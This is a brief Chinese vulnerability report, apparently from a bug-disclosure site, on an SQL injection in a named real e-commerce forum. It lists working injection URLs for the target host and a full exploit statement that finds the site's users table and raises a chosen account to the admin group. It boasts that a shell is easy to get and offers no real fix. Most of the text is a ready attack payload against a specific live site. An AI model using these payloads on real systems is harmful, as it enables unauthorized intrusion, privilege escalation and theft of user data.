再暴差不多同样的SQL注入漏洞。
注入地址：
http://bbs.vancl.com/space/manage/ajax.aspx?AjaxTemplate=../../admin/usercontrols/ajaxtopicinfo.ascx&poster=1') and 1=1--
http://bbs.vancl.com/space/manage/ajax.aspx?AjaxTemplate=../../admin/usercontrols/ajaxtopicinfo.ascx&poster=1') and 1=2--
 
可以直接执行，拿Shell 不在话下哦，呵呵。。。
这里就不演试了，SQL注入对了电商来说，是很高的安全漏洞。。。。数据伤不起。。。
 
附上利用语句：
ajax.aspx?AjaxTemplate=ajaxtopicinfo.ascx&poster=1');declare @t nvarchar(40) select @t=(select top 1 name from sysobjects where name like'%_users' and xtype='U') exec('update '%2b@t%2b' set groupid=1 where username=''xxxx''')--
 
取得密或提权。。。
 
 
 
漏洞证明：
 
 

 
 
修复方案：
 
您懂得！
 
 
作者：Jannock